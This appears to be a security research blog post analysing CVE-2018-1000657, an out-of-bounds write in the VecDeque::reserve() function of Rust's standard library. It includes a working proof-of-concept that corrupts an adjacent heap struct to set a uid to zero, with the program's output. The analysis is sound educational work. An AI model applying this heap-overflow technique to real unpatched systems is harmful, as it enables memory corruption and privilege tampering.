Introduction
Rust is a system programming language that aims to provide both memory safety and low-level control. As a system programming language, Rust allows potentially dangerous operations such as raw pointer manipulation or foreign function accesses, but only when explicitly stated in unsafe blocks. Accordingly, any bugs associated with the logics inside unsafe blocks can break Rust's safety guarantee, allowing attackers to compromise the Rust program.
In this blog posting,
we'd like to demonstrate a PoC exploitation of one of such bugs
in the Rust's standard library.
More specifically,
we exploit an out-of-bound write bug
(CVE-2018-1000657)
in VecDeque::reserve(),
in which the developer
incorrectly checks its length with the internal buffer capacity (larger)
instead of the user-facing capacity (smaller),
breaking an invariant expected by the internal unsafe block
(allowing to access beyond the allowed slot).
When the bug is triggered,
the unsafe block performs an out-of-bound write
in the heap region.
The Bug
Rust's VecDeque is a growable double-ended queue implemented as a ring buffer. Rust's VecDeque implementation reserves one empty slot to distinguish its full and empty status. Thus, if a VecDeque has an internal buffer of size N, users will be able to use N-1 slots of it.
The main cause of CVE-2018-1000657 is the confusion between VecDeque's internal buffer capacity with its user-facing capacity in VecDeque::reserve() function. VecDeque::reserve() function increases the capacity of VecDeque (if needed) so that it can hold at least additional more elements.
This is the code of VecDeque::reserve():
pub fn reserve(&mut self, additional: usize) {
let old_cap = self.cap();
let used_cap = self.len() + 1;
let new_cap = used_cap.checked_add(additional)
.and_then(|needed_cap| needed_cap.checked_next_power_of_two())
.expect("capacity overflow");
if new_cap > self.capacity() {
self.buf.reserve_exact(used_cap, new_cap - used_cap);
unsafe {
self.handle_cap_increase(old_cap);
}
}
}
Here, the check new_cap > self.capacity() is wrong. The code compares the required internal buffer size (new_cap) with its user-facing size (self.capacity()), so it might execute codes inside the if block even if the internal buffer size stays the same. The problem is that the unsafe function VecDeque::handle_cap_increase() assumes new_cap to be greater than old_cap.
Now let's look at the code of VecDeque::handle_cap_increase():
unsafe fn handle_cap_increase(&mut self, old_cap: usize) {
let new_cap = self.cap();
// Move the shortest contiguous section of the ring buffer
// T H
// [o o o o o o o . ]
// T H
// A [o o o o o o o . . . . . . . . . ]
// H T
// [o o . o o o o o ]
// T H
// B [. . . o o o o o o o . . . . . . ]
// H T
// [o o o o o . o o ]
// H T
// C [o o o o o . . . . . . . . . o o ]
if self.tail <= self.head {
// A
// Nop
} else if self.head < old_cap - self.tail {
// B
self.copy_nonoverlapping(old_cap, 0, self.head);
self.head += old_cap;
debug_assert!(self.head > self.tail);
} else {
// C
let new_tail = new_cap - (old_cap - self.tail);
self.copy_nonoverlapping(new_tail, self.tail, old_cap - self.tail);
self.tail = new_tail;
debug_assert!(self.head < self.tail);
}
debug_assert!(self.head < self.cap());
debug_assert!(self.tail < self.cap());
debug_assert!(self.cap().count_ones() == 1);
}
VecDeque::handle_cap_increase() may move the prefix or the suffix of the buffer to handle the change of the internal buffer size. Case B (the prefix is shorter than the suffix) copies the prefix of the buffer to old_cap position and moves head pointer. This leads to out-of-bound write and pointer corruption when new_cap is equal to old_cap. The head pointer is not wrapped to the size of the internal buffer, so invoking VecDeque::push_back() will allow one additional element to overflow. Overall, this vulnerability allows an attacker to overflow at most N/2 elements, where N is the size of the internal buffer before calling VecDeque::reserve().
Proof of Concept
In this section, we present a PoC attack against the vulnerability. The code is written entirely in safe Rust, but the content of an immutable struct is being changed due to the heap overflow.
According to the CVE report, Rust version from 1.3.0 to 1.21.0 are affected by this bug. However, version 1.21.0 seems not to be affected by this error in our experiment, so we targeted version 1.20.0. This code expects jemalloc heap allocator since it was the default heap allocator of Rust on Linux at that time, but it would be straightforward to adapt this code to glibc malloc and use one of glibc heap exploitation techniques. We tested our PoC code with 1.20.0-x86_64-unknown-linux-gnu toolchain.
use std::mem::size_of;
use std::collections::VecDeque;
#[derive(Debug)]
struct User {
uid: usize,
gid: usize,
name: &'static str,
}
fn main() {
// VecDeque allocates internal buffer on the heap
let mut deque: VecDeque<i32> = VecDeque::with_capacity(7);
// We allocate a new user on the heap using Box
let user_box = Box::new(User {
uid: 1000,
gid: 1000,
name: "User",
});
let old_cap = deque.capacity() + 1;
let buf_size = old_cap * size_of::<i32>();
let user_size = size_of::<User>();
println!("Deque internal buffer capacity: {}", old_cap);
println!("Deque internal buffer size: {}", buf_size);
println!("User struct size: {}", user_size);
// jemalloc will put VecDeque internal buffer and User struct close if their size matches
assert!(buf_size == user_size);
println!("Current user: {:?}", *user_box);
let buf_addr = deque.as_slices().0.as_ptr() as usize;
let user_addr = user_box.as_ref() as *const User as usize;
println!("VecDeque buffer at: 0x{:08x}", buf_addr);
println!("User struct at: 0x{:08x}", user_addr);
// check if they were actually allocated next to each other
assert!(user_addr == buf_addr + buf_size);
deque.push_front(-1);
deque.push_front(-1);
deque.push_back(0);
// this will copy 0 to internal_buffer[len] position (lower 4 bytes of uid)
// it also corrupts the ring buffer head pointer to point len + 1 position
deque.reserve(4);
// this will write 0 to internal_buffer[len + 1] position (upper 4 bytes of uid)
deque.push_back(0);
// uid of immutable user variable was overwritten at this point
println!("Overwritten user: {:?}", *user_box);
if user_box.uid == 0 {
println!("You are root!");
} else {
println!("You don't have the root permission");
}
}
The code prints this result when executed. We can observe that the content of the immutable struct user_box has changed.
Deque internal buffer capacity: 8
Deque internal buffer size: 32
User struct size: 32
Current user: User { uid: 1000, gid: 1000, name: "User" }
VecDeque buffer at: 0x7fb2e8421060
User struct at: 0x7fb2e8421080
Overwritten user: User { uid: 0, gid: 1000, name: "User" }
You are root!
Conclusion
Bug Fix. This CVE is particularly interesting because it is a memory
safety error but the bug was in the safe part of the Rust.
The root cause of this bug is safe code breaking unsafe code's invariant new_cap > old_cap,
even though the corruption of the internal pointer indeed happened in
an unsafe function VecDeque::handle_cap_increase(). The bug was
fixed by changing self.capacity() (user-facing capacity) to
old_cap (internal buffer capacity).
Memory safety vs. logic bugs.
Should we consider this is a memory-safety bug or a logic bug?
It is questionable
as the actual mistake is an incorrect checking of the capacity:
perhaps, a typo or a naive mistake
thanks to the opaque names of two variables, old_cap vs capacity().
If the same mechanism and logic are implemented in pure Rust,
it still incurs an incorrect use (or overwriting)
of another nearby element in the deque,
although it might prevent attackers
from constructing a more powerful exploit primitive
such as arbitrary read/write,
in a generic manner.
Conclusion.
Rust guides programmers to double-check the consequences of unsafe Rust code by explicit unsafe keyword, because a bug related to unsafe code can break Rust's safety guarantee. However, our observation suggests that Rust codes that can trigger a memory bug are actually more than codes that are explicitly marked as unsafe. Rust programmers should be also careful when they are writing safe Rust codes that can affect the invariant of the unsafe codes, and investigating and quantifying this kinds of indirect unsafe Rust code would be an interesting future research topic.